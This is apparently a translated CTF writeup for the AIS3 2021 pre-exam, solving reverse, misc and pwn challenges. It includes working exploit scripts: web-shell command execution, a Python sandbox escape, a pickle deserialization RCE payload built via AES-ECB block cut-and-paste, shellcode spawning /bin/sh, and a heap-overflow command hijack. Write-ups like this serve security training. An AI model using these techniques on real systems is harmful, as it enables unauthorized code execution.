AIS3 2021 pre-exam WriteUps
This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .
I participated in AIS3 2021 pre-exam this time and got the first place, so I wrote some writeups to record the solutions. Last year at this time, I didn't even know what CTF was. The first time I encountered AIS3 was during EOF, and the pre-exam was my first experience.
Reverse
Piano
It can be seen that it is a .NET program. After downloading dotPeek and opening the dll, you can see that it asks you to play "Twinkle Twinkle Little Star" to get the flag, or you can extract the necessary data and calculate the flag yourself.
Flag: AIS3{7wink1e_tw1nkl3_l1ttl3_574r_1n_C_5h4rp}
🐰 Peekora 🥒
This challenge is a flag checker written with pickle. Using Python's pickletools.dis
, you can see the parsed pickle file, which contains some conditions. By recording these conditions with z3, you can get the flag.
from z3 import *
flag = [BitVec(f"f_{i}", 8) for i in range(16)]
s = Solver()
s.add(flag[0] == ord("A"))
s.add(flag[1] == ord("I"))
s.add(flag[2] == ord("S"))
s.add(flag[3] == ord("3"))
s.add(flag[4] == ord("{"))
s.add(flag[-1] == ord("}"))
s.add(flag[6] == ord("A"))
s.add(flag[9] == ord("j"))
memo3 = flag[9]
s.add(flag[11] == ord("p"))
s.add(flag[14] == memo3)
memo4 = flag[1]
s.add(flag[5] == ord("d"))
s.add(flag[10] == ord("z"))
s.add(flag[12] == ord("h"))
s.add(flag[13] == memo4)
s.add(flag[8] == ord("w"))
s.add(flag[7] == ord("m"))
assert s.check() == sat
m = s.model()
flag = bytes([m[x].as_long() for x in flag])
print(flag.decode())
Flag: AIS3{dAmwjzphIj}
COLORS
This challenge has an obfuscated js file. After manually deobfuscating it, it looks like this:
const _0x3eb4 = [
'repeat',
'1YqKovX',
'NDBCMjBnMzBpNTFKNjA2MDFcMzB3NDAxMzBBNDFqNDBcNDExMzBnNzB1MzBpMTBrMzBsNDA3NjB4NTBpNTBYMTBLMTBJNDBoNTBYMDBLNDFpNTFsNzA2NzBmNDBvMTA2NTA1NzBLMTFuNTE4NzA3NDFCNTAtMTE4NDB3MzFhMTByNDF6NzBLMzA9MjA9MTA9',
'substr',
'output',
'getElementsByTagName',
'65022JgPEZp',
'keydown',
'length',
'innerHTML',
'677PRUQAU',
'ArrowLeft',
'QWxTM3tCYXNFNjRfaTUrYjByTkluZ35cUXdvLy14SDhXekNqN3ZGRDJleVZrdHFPTDFHaEtZdWZtWmRKcFg5fQ==',
'133781JKLWBV',
'ArrowUp',
'90407czXCgh',
'PGRpdiBzdHlsZT0id2lkdGg6IDM1MHB4OyBwb3NpdGlvbjogYWJzb2x1dGU7IGJvdHRvbTogMHB4OyBsZWZ0OiAwcHg7Ij48ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IGFuaW1hdGlvbjogcmFpbmJvdyAycyBsaW5lYXIgMHMgaW5maW5pdGUgbm9ybWFsOyBwb3NpdGlvbjogYWJzb2x1dGU7IHRvcDogLTEwcHg7IGxlZnQ6IDUwJTsgZm9udC1zaXplOiAyMHB4OyB0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoLTUwJSk7IHdpZHRoOiAzNTBweDsiPkhlcmUgaXMgeW91cjxicj4iZW5jb2RlZCIgZmxhZyw8YnI+aW5wdXQgdG8gZW5jb2RlIHNvbWV0aGluZyBlbHNlITwvZGl2PiA8c3ZnIGlkPSLwn5CIIiB4PSIwcHgiIHk9IjBweCIgdmlld0JveD0iMCAwIDEyOCAxMjgiIHN0cm9rZT0iIzAwMCIgc3Ryb2tlLXdpZHRoPSIzIiBzdHJva2UtbGluZWNhcD0icm91bmQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiPjxwYXRoIGlkPSJib2R5Ij48YW5pbWF0ZSBhdHRyaWJ1dGVOYW1lPSJmaWxsIiBkdXI9IjUwMG1zIiByZXBlYXRDb3VudD0iaW5kZWZpbml0ZSIga2V5VGltZXM9IjA7MC4xOzAuMjswLjM7MC40OzAuNTswLjY7MC43OzAuODswLjk7MSIgdmFsdWVzPSIgI2ZmOGQ4YjsgI2ZlZDY4OTsgIzg4ZmY4OTsgIzg3ZmZmZjsgIzhiYjVmZTsgI2Q3OGNmZjsgI2ZmOGNmZjsgI2ZmNjhmNzsgI2ZlNmNiNzsgI2ZmNjk2ODsgI2ZmOGQ4YiAiPjwvYW5pbWF0ZT48YW5pbWF0ZSBhdHRyaWJ1dGVOYW1lPSJkIiBkdXI9IjUwMG1zIiByZXBlYXRDb3VudD0iaW5kZWZpbml0ZSIga2V5VGltZXM9IjA7MC4xOzAuMjswLjM7MC40OzAuNTswLjY7MC43OzAuODswLjk7MSIgdmFsdWVzPSIgTTY3LjEsMTA5LjVjLTkuNiwwLTIzLjYtOC44LTIzLjYtMjRjMC0xMi4xLDE3LjgtNDEsMzcuNS00MWMxNS42LDAsMjMuMywxMC42LDI1LjEsMjAuNSBjMS45LDEwLjcsMy45LDguMiwzLjksMTkuNWMwLDguMi0zLjgsMTctMy44LDIyLjNjMCwzLjksMS40LDcuNCwyLjksMTAuNWMxLjcsMy41LDIuNCw2LjYsMi40LDkuMkg5LjVjMC0xMy43LDEwLjgtMTQsMjEuMS0yMyBjNS42LTQuOSwxMS0xMi40LDE0LjUtMjY7IE01Ni4xLDEwNy41Yy05LjYsMC0yNC42LTEzLjgtMjQuNi0yOWMwLTE2LjIsMTMtNDIsMzMuNS00MmMxNy44LDAsMjIuMywxMS42LDI2LjEsMjIuNSBjMy42LDEwLjMsOS45LDkuMiw5LjksMjAuNWMwLDguMi0xLjgsNy0xLjgsMTIuM2MwLDQuNSwzLjQsOC4yLDYuNCwxNC4xYzIuNSw0LjgsNC44LDExLjIsNC44LDIwLjZoLTk5YzAtMTIuMSw3LjItMTcuNiwxNC43LTI0LjMgYzMuMi0yLjksNi41LTUuOSw5LjItOS44OyBNNDUuMSwxMDkuNWMtNS41LTAuMi0yNy42LTguNC0yNy42LTI3YzAtMTcuOSwxNC44LTQyLDMyLjUtNDJjMTUuNCwwLDI0LDEwLjQsMjYuMSwyMS41IGMxLjMsNi43LDkuOSw5LjgsOS45LDIxLjVjMCw4LjItMC44LDYtMC44LDExLjNjMCw3LjcsMTIuOCw5LDIwLjgsMTVjNy43LDUuOCwxNS41LDE2LjcsMTUuNSwxNi43aC0xMTBjMC00LjgsMS43LTExLjMsNS0xNiBjMy4yLTQuNSw0LjUtOC4zLDUtMTU7IE0zNiwxMjBjLTUuNS0wLjItMjguNS0xMS45LTI4LjUtMzAuNWMwLTE2LjIsMTIuNS00MiwzMy00MmMxNy44LDAsMjEuOCw5LjYsMjUuNiwyMC41IEM2OS43LDc4LjMsNzYsNzguMiw3Niw4OS41YzAsOC4yLTAuOCw0LTAuOCw5LjNjMCw1LjksMTYuNSw3LjgsMjguNCwxNS45YzgsNS41LDE3LjksMTEuOCwxNy45LDExLjhoLTExMGMwLTIuMS0xLjItNS4yLTEuOS0xNC41IGMtMC4zLTMuNi0wLjUtOC4xLTAuNS0xMy45OyBNMzcsMTE5LjVjLTE1LDAuMS0zMy41LTEyLjctMzMuNS0zMEMzLjUsNzMuMywxNiw0NywzNi41LDQ3YzE3LjgsMCwyMi44LDExLDI2LDIyIEM2NS42LDc5LjQsNzMsNzkuMiw3Myw5MC41YzAsNC0xLjgsNi42LTEuOCw4LjNjMCw1LjksMTQuMiw2LjQsMjYuNCwxNS45YzcuNyw2LDEzLjksMTEuOCwxMy45LDExLjhINy41Yy0xLjItMy40LTEuOC03LjMtMS45LTExLjIgYy0wLjItNS4xLDAuMy0xMC4xLDAuOS0xMy43OyBNNDAuNSwxMjEuNWMtMTIuNiwwLTMwLTEzLjQtMzAtMjlDMTAuNSw3Ni4zLDIzLDUzLDQzLjUsNTNjMTQuNSwwLDIyLjgsOS42LDI1LDIyIGMxLjIsNi45LDEwLDkuMiwxMCwyMC41YzAsNCwwLDUuNiwwLDcuM2MwLDQuOSw2LjEsNy41LDExLjIsMTEuOWM1LjgsNSw3LjIsMTEuOCw3LjIsMTEuOEg4LjVjMC0xLjUtMC42LTYuMSwwLjQtMTEuOCBjMC42LTMuNSwxLjktNy41LDQuMy0xMS42OyBNNDguNSwxMjEuNWMtMTIuNiwwLTI1LTYuMy0yNS0xOGMwLTE2LjIsMTMuNy00NywzNi00N2MxNS42LDAsMjQuOCw5LjEsMjcsMjEuNSBjMS4yLDYuOSw3LDkuMiw3LDE4LjVjMCw5LjUtNCwxMS00LDIyYzAsNC4xLDAuNSw1LDEsNmMwLjUsMS4yLDEsMiwxLDJoLTgxYzAtNS4zLDMuMS04LjMsNi4zLTExLjVjMi42LTIuNiw1LjQtNS4zLDYuNy05LjU7IE02OC41LDEyMS41Yy0xMi42LDAtMzMtNS44LTMzLTIzYzAtOS4yLDExLjgtMzYsMzctMzZjMTUuNiwwLDI1LjgsOC4xLDI4LDIwLjUgYzEuMiw2LjksNCw2LjIsNCwxNS41YzAsOS41LTUsMTUuMS01LDIxYzAsMS45LDEsMi4zLDEsNWMwLDEuMiwwLDIsMCwyaC05MWMwLjUtNy42LDcuMS0xMS4xLDEzLjctMTUuN2M0LjktMy40LDkuOS03LjUsMTIuMy0xNC4zOyBNNzMuNSwxMTcuNWMtMTIuNiwwLTMwLTYuMi0zMC0yNWMwLTE0LjIsMjAuOS0zNywzOC0zN2MxNy42LDAsMjUuOCwxMS4xLDI4LDIzLjUgYzEuMiw2LjksMyw3LjIsMywxNi41YzAsMTIuMS02LDE2LjEtNiwyMmMwLDQuMiwyLDUuMywyLDhjMCwxLjIsMCwxLDAsMUg3LjVjMi4xLTkuNCwxMC40LTEzLjMsMTkuMi0xOS40IGM3LjEtNSwxNC40LTExLjUsMTguOC0yMy42OyBNODAuNSwxMTUuNWMtMTIuNiwwLTMyLTkuMi0zMi0yOGMwLTE0LjIsMjIuOS0zNSw0MC0zNWMxNy42LDAsMjUuOCwxMi4xLDI4LDI0LjUgYzEuMiw2LjksMyw2LjIsMywxNS41YzAsMTIuMS02LDE5LjEtNiwyNWMwLDQuMiwyLDUuMywyLDhjMCwxLjIsMCwxLDAsMWgtMTAyYzIuMy04LjcsMTEuNi0xMS43LDIwLjgtMjAuMSBjNS4zLTQuOCwxMC41LTExLjQsMTQuMi0yMS45OyBNNjcuMSwxMDkuNWMtOS42LDAtMjMuNi04LjgtMjMuNi0yNGMwLTEyLjEsMTcuOC00MSwzNy41LTQxYzE1LjYsMCwyMy4zLDEwLjYsMjUuMSwyMC41IGMxLjksMTAuNywzLjksOC4yLDMuOSwxOS41YzAsOC4yLTMuOCwxNy0zLjgsMjIuM2MwLDMuOSwxLjQsNy40LDIuOSwxMC41YzEuNywzLjUsMi40LDYuNiwyLjQsOS4ySDkuNWMwLTEzLjcsMTAuOC0xNCwyMS4xLTIzIGM1LjYtNC45LDExLTEyLjQsMTQuNS0yNiAiPjwvYW5pbWF0ZT48L3BhdGg+PHBhdGggaWQ9ImJlYWsiIGZpbGw9IiM3YjhjNjgiPjxhbmltYXRlIGF0dHJpYnV0ZU5hbWU9ImQiIGR1cj0iNTAwbXMiIHJlcGVhdENvdW50PSJpbmRlZmluaXRlIiBrZXlUaW1lcz0iMDswLjE7MC4yOzAuMzswLjQ7MC41OzAuNjswLjc7MC44OzAuOTsxIiB2YWx1ZXM9IiBNNzguMjksNzBjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzc4LjI5LDg1LjUsNzguMjksNzBaOyBNNjIuMjksNjRjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzYyLjI5LDc5LjUsNjIuMjksNjRaOyBNNDguMjksNjdjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzQ4LjI5LDgyLjUsNDguMjksNjdaOyBNMzYuMjksNzNjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzM2LjI5LDg4LjUsMzYuMjksNzNaOyBNMzUuMjksNzVjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzM1LjI5LDkwLjUsMzUuMjksNzVaOyBNNDEuMjksODFjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzQxLjI5LDk2LjUsNDEuMjksODFaOyBNNTkuMjksODRjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzU5LjI5LDk5LjUsNTkuMjksODRaOyBNNzIuMjksODljMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzcyLjI5LDEwNC41LDcyLjI5LDg5WjsgTTgwLjI5LDgyYzAtOS45MiwyLjUtMTQsOC0xNHM4LDIuMTcsOCwxMC42N2MwLDE1LjkyLTcsMjYuMzMtNywyNi4zM1M4MC4yOSw5Ny41LDgwLjI5LDgyWjsgTTg3LjI5LDc4YzAtOS45MiwyLjUtMTQsOC0xNHM4LDIuMTcsOCwxMC42N2MwLDE1LjkyLTcsMjYuMzMtNywyNi4zM1M4Ny4yOSw5My41LDg3LjI5LDc4WjsgTTc4LjI5LDcwYzAtOS45MiwyLjUtMTQsOC0xNHM4LDIuMTcsOCwxMC42N2MwLDE1LjkyLTcsMjYuMzMtNywyNi4zM1M3OC4yOSw4NS41LDc4LjI5LDcwWiAiPjwvYW5pbWF0ZT48L3BhdGg+PGVsbGlwc2UgaWQ9ImV5ZS1yaWdodCIgcng9IjMiIHJ5PSI0Ij48YW5pbWF0ZSBhdHRyaWJ1dGVOYW1lPSJjeCIgZHVyPSI1MDBtcyIgcmVwZWF0Q291bnQ9ImluZGVmaW5pdGUiIGtleVRpbWVzPSIwOzAuMTswLjI7MC4zOzAuNDswLjU7MC42OzAuNzswLjg7MC45OzEiIHZhbHVlcz0iMTAwOzg0OzcwOzU4OzU3OzYzOzgxOzk0OzEwMjsxMDk7MTAwIj48L2FuaW1hdGU+PGFuaW1hdGUgYXR0cmlidXRlTmFtZT0iY3kiIGR1cj0iNTAwbXMiIHJlcGVhdENvdW50PSJpbmRlZmluaXRlIiBrZXlUaW1lcz0iMDswLjE7MC4yOzAuMzswLjQ7MC41OzAuNjswLjc7MC44OzAuOTsxIiB2YWx1ZXM9IjYyOzU2OzU5OzY1OzY3OzczOzc2OzgxOzc0OzcwOzYyIj48L2FuaW1hdGU+PC9lbGxpcHNlPjxlbGxpcHNlIGlkPSJleWUtbGVmdCIgcng9IjMiIHJ5PSI0Ij48YW5pbWF0ZSBhdHRyaWJ1dGVOYW1lPSJjeCIgZHVyPSI1MDBtcyIgcmVwZWF0Q291bnQ9ImluZGVmaW5pdGUiIGtleVRpbWVzPSIwOzAuMTswLjI7MC4zOzAuNDswLjU7MC42OzAuNzswLjg7MC45OzEiIHZhbHVlcz0iNjcuNTs1MS41OzM3LjU7MjUuNTsyNC41OzMwLjU7NDguNTs2MS41OzY5LjU7NzYuNTs2Ny41Ij48L2FuaW1hdGU+PGFuaW1hdGUgYXR0cmlidXRlTmFtZT0iY3kiIGR1cj0iNTAwbXMiIHJlcGVhdENvdW50PSJpbmRlZmluaXRlIiBrZXlUaW1lcz0iMDswLjE7MC4yOzAuMzswLjQ7MC41OzAuNjswLjc7MC44OzAuOTsxIiB2YWx1ZXM9IjYyOzU2OzU5OzY1OzY3OzczOzc2OzgxOzc0OzcwOzYyIj48L2FuaW1hdGU+PC9lbGxpcHNlPjwvc3ZnPjwvZGl2Pg==',
'131837PcDnWL',
'19pQimXL',
'623605MIswVM',
'charCodeAt',
'join',
'4WsUYDr',
'686oWrfyq',
'body',
'map',
'getElementById',
'textContent',
'match',
'key',
'302349wKdZHP',
'4OYJFlQ',
'input',
'padStart',
'Backspace'
]
function _0x4ebd(_0x532d69, _0x212ed3) {
_0x532d69 = _0x532d69 - 0x1c6
let _0x3eb4a7 = _0x3eb4[_0x532d69]
return _0x3eb4a7
}
;(function (_0x496f79, _0x226742) {
const _0x463eac = _0x4ebd
while (!![]) {
try {
const _0x12c745 =
-parseInt(_0x463eac(0x1e6)) +
parseInt(_0x463eac(0x1ce)) * -parseInt(_0x463eac(0x1de)) +
-parseInt(_0x463eac(0x1db)) +
-parseInt(_0x463eac(0x1e7)) * parseInt(_0x463eac(0x1d7)) +
-parseInt(_0x463eac(0x1d5)) * parseInt(_0x463eac(0x1c9)) +
parseInt(_0x463eac(0x1df)) * -parseInt(_0x463eac(0x1d2)) +
parseInt(_0x463eac(0x1d9)) * parseInt(_0x463eac(0x1da))
if (_0x12c745 === _0x226742) break
else _0x496f79['push'](_0x496f79['shift']())
} catch (_0xe36f7) {
_0x496f79['push'](_0x496f79['shift']())
}
}
})(_0x3eb4, 0x57a76),
(() => {
const _0x1cd51f = _0x4ebd,
_0x54579e = _0x1cd51f(0x1d8),
_0x78ed5a = _0x1cd51f(0x1ca),
CONSTSTR = 'QWxTM3tCYXNFNjRfaTUrYjByTkluZ35cUXdvLy14SDhXekNqN3ZGRDJleVZrdHFPTDFHaEtZdWZtWmRKcFg5fQ==',
eight = 0x8,
ten = 0xa
let input,
counter = 0x0
function encode(str) {
if (!str['length']) return ''
let bits = '',
ret = '',
padLen = 0x0
for (let i = 0x0; i < str['length']; i++)
bits += str['charCodeAt'](i)['toString'](0x2)['padStart'](0x8, '0')
padLen = (bits['length'] % ten) / 0x2 - 0x1
if (padLen != -0x1) bits += '0'['repeat'](ten - (bits['length'] % ten))
bits = bits['match'](/(.{1,10})/g)
for (let b of bits) {
let bi = parseInt(b, 0x2)
ret += htmlWrap((bi >> 0x6) & 0x7, bi >> 0x9, atob(CONSTSTR)[bi & 0x3f])
}
for (; padLen > 0x0; padLen--) {
ret += htmlWrap(padLen % eight, 0x0, '=')
}
return ret
}
let htmlWrap = (color, rotation, val) =>
'<span><div\x20class=\x22c' + color + '\x20r' + rotation + '\x22>' + val + '</div></span>',
_0x1fdafa = x => (document['getElementById']('output')['innerHTML'] = encode(x))
document['addEventListener']('keydown', event => {
const _0x12b963 = _0x1cd51f
if (event['key'] === _0x12b963(0x1c7) && counter == 0xa)
input['textContent'] = input['textContent']['substr'](0x0, input['textContent']['length'] - 0x1)
else {
if (event['key'] === 'ArrowUp' && !(counter >> 0x1)) return (counter += 0x1)
else {
if (event['key'] === 'ArrowDown' && !(counter >> 0x2)) return (counter += 0x1)
else {
if (event['key'] === 'ArrowLeft' && (counter == 0x4 || counter == 0x6)) return (counter += 0x1)
else {
if (event['key'] === 'ArrowRight' && (counter == 0x5 || counter == 0x7))
return (counter += 0x1)
else {
if (event['key'] === 'b' && counter == 0x8) return (counter += 0x1)
else {
if (event['key'] === 'a' && counter == 0x9)
return (
(document['getElementsByTagName']('body')[0x0]['innerHTML'] +=
atob(_0x54579e)),
(input = document['getElementById']('input')),
(input['innerHTML'] = ''),
(document['getElementById']('output')['innerHTML'] = atob(_0x78ed5a)
['match'](/(.{1,3})/g)
['map'](_0x5efa9e =>
htmlWrap(_0x5efa9e[0x0], _0x5efa9e[0x1], _0x5efa9e[0x2])
)
['join']('')),
(counter += 0x1)
)
else {
if (event['key']['length'] == 0x1 && counter == 0xa)
input['textContent'] += String['fromCharCode'](event['key']['charCodeAt']())
else return
}
}
}
}
}
}
}
_0x1fdafa(input['textContent'])
})
})()
It can be seen that it displays the encoded flag after you input the Konami Code (up, up, down, down, left, right, left, right, B, A). You can also input some text to encode. By reading the encode function, you can see that it converts each character into 8 bits, concatenates them, pads to align with 10, groups them into 10, and then encodes the last 6 bits into characters. The first 1 and 3 bits are encoded into direction and color, respectively. Writing a reverse conversion code will give you the flag.
const original =
'40B20g30i51J60601\\30w40130A41j40\\41130g70u30i10k30l40760x50i50X10K10I40h50X00K41i51l70670f40o10650570K11n51870741B50-11840w31a10r41z70K30=20=10='
const encoded = original
.match(/.{1,3}/g)
.map(x => x[2])
.join('') // 'BgiJ6\\w1Aj\\1guikl7xiXKIhXKil6fo65Kn87B-8warzK==='
const atob = s => Buffer.from(s, 'base64').toString()
const CONSTSTR = atob('QWxTM3tCYXNFNjRfaTUrYjByTkluZ35cUXdvLy14SDhXekNqN3ZGRDJleVZrdHFPTDFHaEtZdWZtWmRKcFg5fQ=='),
eight = 0x8,
ten = 0xa
function encode(str) {
if (!str['length']) return ''
let bits = '',
ret = '',
padLen = 0x0
for (let i = 0x0; i < str['length']; i++) bits += str['charCodeAt'](i)['toString'](0x2)['padStart'](0x8, '0')
padLen = (bits['length'] % ten) / 0x2 - 0x1
if (padLen != -0x1) bits += '0'['repeat'](ten - (bits['length'] % ten))
bits = bits['match'](/(.{1,10})/g)
for (let b of bits) {
let bi = parseInt(b, 0x2)
ret += CONSTSTR[bi & 0x3f]
}
for (; padLen > 0x0; padLen--) {
ret += '='
}
return ret
}
const toks = original.match(/.{1,3}/g)
const bits = []
for (let i = 0; i < encoded.length; i++) {
const ix = CONSTSTR.indexOf(encoded.charAt(i))
if (ix < 0) continue
b3 = parseInt(toks[i][0])
bits.push(toks[i][1] + b3.toString(2).padStart(3, '0') + ix.toString(2).padStart(6, '0'))
}
console.log(
bits
.join('')
.match(/.{1,8}/g)
.map(x => String.fromCharCode(parseInt(x, 2)))
.join('')
)
Flag: AIS3{base1024_15_c0l0RFuL_GAM3_CL3Ar_thIS_IS_y0Ur_FlaG!}
Misc
Microcheese
The challenge is to play a Nim Game with a bot. It initially gives you a losing position, so there is no regular way to win.
This challenge is a buggy version of Crypto's Microchess
. Initially, I solved it using the intended solution of Microchess
.
By diffing the two versions, you can see that the bug is in the play
function, which does not check if choice
is one of 0, 1, or 2. So, inputting other numbers can directly pass a turn. Therefore, you just need to play until there are 1,1
piles left, input another number to pass, and then remove the remaining 1
to win.
Flag: AIS3{5._e3_b5_6._a4_Bb4_7._Bd2_a5_8._axb5_Bxc3}
Old Flag (before the author discovered the bug): AIS3{1._d4_d5_2._c4_e6_3._Nc3_c6_4._Nf3_dxc4}
Blind
It first closes stdout (1
), then lets you make a syscall to read
the flag and write
it to pipe 1
. So, you just need to use dup2
to copy stderr (2
) to 1
, so that when it writes, it will display on stderr, and you can get the flag. The input is 33 2 1 0
.
Flag: AIS3{dupppppqqqqqub}
[震撼彈] AIS3 官網疑遭駭!
This challenge has a pcap file with many DNS and HTTP requests. The HTTP requests are all sent to magic.ais3.org
, but dig
cannot find it. You need to look at the HTTP target address and notice that it shares the same IP as quiz.ais3.org
. However, directly browsing only shows the default nginx page. Using curl
with the --resolve
option to modify the Host
header, you can test and find that magic.ais3.org
is indeed on that IP, but you need to add the header yourself. After modifying hosts
, you can also browse magic.ais3.org
from the browser.
By observing the HTTP request, you can see a particularly different request. By examining the parameters, you can find that it is the base64 reversed result of a command. Testing it, you can find that the page is a shell that allows you to use it, but you need to reverse base64 encode the command.
import requests
from base64 import b64encode
cmd = "cat /flag_c603222fc7a23ee4ae2d59c8eb2ba84d"
resp = requests.get(
"http://10.153.11.126:8100/Index.php",
headers={"Host": "magic.ais3.org"},
params={"page": b64encode(cmd.encode())[::-1]},
)
print(resp.text)
Flag: AIS3{0h!Why_do_U_kn0w_this_sh3ll1!1l!}
Cat Slayer | Online Edition
This challenge is a text-based Online Game where you can fight monsters, level up, earn money, and unlock curse characters. Curse characters can be used to solve a simple pyjail (sandbox.py
). If characters not in the list appear in the payload (spell), it will not execute. The blacklisted characters are ascii digits, ascii lowercase, ()
and .'"
. The last three characters can only be unlocked after reaching level 10 and reincarnating.
First, solving the pyjail part, it does sandboxing like this:
_eval = __builtins__.eval
del __builtins__.exec
del __builtins__.eval
del __builtins__.__import__
_eval(spell, {})
It also checks if the spell is pure ascii. Since .'"
cannot be used (reincarnation is troublesome), you can use getattr
and input
to connect. A basic payload looks like this:
getattr(getattr(__loader__,input())(input()),input())(input())
Then input load_module
os
system
whoami
respectively, which is equivalent to __loader__.load_module('os').system('whoami')
. After shortening it a bit, it becomes:
(l:=input,o:=getattr,o(o(__loader__,l())(l()),l())(l()))
Using the given formula, you can calculate that the minimum level to achieve the goal is level 3. However, I solved it at level 4 because I accidentally unlocked an unnecessary character. For leveling up, you can exploit the shop's lack of quantity checks to sell some attributes to negative values, turning them into money, creating unbalanced attributes, and then defeating monsters to reach level 3 or 4. After that, sell attributes to negative values to unlock the required characters, then send the payload to get the shell and complete the challenge.
Flag: AIS3{CAO_Cat_Art_Online}
Cat Slayer | Cloud Edition
This challenge saves your player data using pickle, then pads it and encrypts it with AES ECB before giving it to you. When loading, it decrypts, removes padding, and then calls pickle.loads
.
The crypto part of this challenge is that AES ECB mode produces the same result for the same block (with a fixed key), so you can align the block size when entering the name and insert your pickle payload to get the payload's ciphertext. The encrypted padding can also be obtained by aligning.
However, another difficulty is that it uses the input
function when entering the name, so any \n
will interrupt it, making it impossible to use GLOBAL
(c__builtin__\neval\n
). Reading the pickle source code, you can see that newer versions of Python have STACK_GLOBAL
(\x93
then takes two from the stack top to find_class
) available. However, entering \x93
in input
turns into \xc2\x93
because it consumes unicode.
I used BINPUT
(q
) to remove the next character, so q\x93
becomes q\xc2\x93
, and q\xc2
just puts the stack top into memo 0xc2, effectively having no effect. For strings, I used BINUNICODE
(X
) to input, then assembled the payload, aligned it, and added the corresponding padding to successfully send the payload to pickle.loads
and get the shell.
The following script generates the payload, which, when input to the load part, executes exec(input())
:
from pwn import remote, process
REMOTE = True
def encrypt(data: bytes):
assert len(data) % 16 == 0
assert not b"\n" in data
p = (
remote("quiz.ais3.org", 2222)
if REMOTE
else process(["python", "cat_slayer_cloud_edition.py"])
)
p.recvuntil(b"Name: ")
p.sendline(b"a" * 9 + data + b"c" * 8)
p.recvuntil(b"Choose: ")
p.sendline(b"V")
p.recvuntil(b"Saved Data: ")
ct = bytes.fromhex(p.recvline().decode().strip())
return ct[64 : 64 + len(data)] + ct[-16:]
# pk = b"c__builtin__\nexec\n(c__builtin__\ninput\n)RtR."
pk = b'X\x0b\x00\x00\x00__builtin__X\x04\x00\x00\x00execq\x93(X\x0b\x00\x00\x00__builtin__X\x05\x00\x00\x00inputq\x93)RtR.'
# \x93 will be \xc2\x93, so q\x93 effectively becomes \x93
print(encrypt(pk + b"a" * (16 - len(pk) % 16)).hex())
Flag: AIS3{mag1c_pick13_cut&paste}
You can also use the
env
command to see that the AES key isEnR3vCSX7PFyCzekBVAMMIK0jICLL1Mx
, making it easier to generate the payload.
Pwn
Write Me
This challenge first clears the GOT entry of system
, then lets you write once before calling system('/bin/sh')
. The solution is simple: make it call the lazy binding code again. So, change the address value of 4210728
to 4198480
to restore the GOT entry of system
and call it normally.
Flag: AIS3{Y0u_know_h0w_1@2y_b1nd1ng_w@rking}
noper
This challenge lets you input a shellcode, then it will change certain bytes to nop
. So, write a shellcode and ensure it doesn't overwrite important parts.
from pwn import *
context.arch = "amd64"
indexes = [6, 10, 13, 17, 39, 41, 44, 51, 63]
sc = bytearray(
asm(
"""
xor rsi, rsi
xor rdx, rdx
# 6
nop
# 7
nop
nop
nop
# 10
nop
# 11
nop
nop
nop
# 14
nop
nop
nop
# 17
nop
# 18
mov rax, 0x68732f6e69622f
# 28
push rax
# 29
mov rdi, rsp
xor rax, rax
mov al, 59
syscall
"""
)
)
print(len(sc))
print(disasm(sc))
print()
for i in indexes:
if i < len(sc):
sc[i] = 0x90
print(disasm(sc))
p = remote('quiz.ais3.org', 5002)
p.send(sc)
p.interactive()
Flag: AIS3{nOp_noOp_NOoop!!!}
AIS3 Shell
The challenge provides a simple shell with define
, list
, and run
commands. Each command has a command name and command. The command part is placed in system
when run <command name>
is input, but the define
part has a whitelist restriction on the command value.
This challenge implements its own memory allocator. InitAlloc
pre-allocates chunks of 256, 512, 768, etc., with 64 chunks of each size.
Carefully examining, you can see that InitAlloc
and MemAlloc
use mismatched buffer sizes, treating the index as the chunk size, and the size to MemAlloc
goes to the index, causing an out-of-bounds write. Using gdb, you can overwrite existing chunks' commands, so overwrite ls
with sh
to get the shell.
from pwn import *
p = remote("quiz.ais3.org", 10103)
p.sendlineafter(b"$ ", "define")
p.sendlineafter(b"Length of command name: ", "3")
p.sendlineafter(b"Command name: ", "sh")
p.sendlineafter(b"Length of command: ", "3")
p.sendlineafter(b"Command:", "ls")
p.sendlineafter(b"$ ", "define")
p.sendlineafter(b"Length of command name: ", "16384")
p.sendlineafter(b"Command name: ", "a" * 272 + "sh")
p.sendlineafter(b"Length of command: ", "0")
p.sendlineafter(b"$ ", "run sh")
p.interactive()
Flag: AIS3{0hh_H0w_do_you_ch@ng3_my_comm4nd}
Gemini
This challenge is a heap challenge with a 0x20-sized data structure roughly represented as follows:
struct point {
int64_t namelen;
int64_t x;
int64_t y;
char *name;
};
There are four operations available:
malloc(0x20)
, then inputx
,y
, andnamelen
, followed bymalloc(namelen)
and inputname
, finally placing the point in a global array.- Input index, set the point's
namelen
,x
,y
to 0, free thename
, then free the point's chunk, but not clearing the global array. - Input index, modify a point's
x
,y
. - Input index, output the point's
name
string value andx
,y
.
From the second operation, it's clear there is UAF, and the challenge runs on Ubuntu 20.04 with glibc 2.31, so there is tcache.
However, since tcache only looks at the next
pointer (in the namelen
position), you can't directly use the third operation for tcache corruption to achieve malloc
at a desired address.
First, create 8 points with namelen = 256
, then free 0~7 in order, resulting in the heap state:
# p{i} 指的是第 i 個 point,s{i} 是第 i 個 point 裡面的 name
tcache(0x30) p6 -> p5 -> p4 -> p3 -> p2 -> p1 -> p0
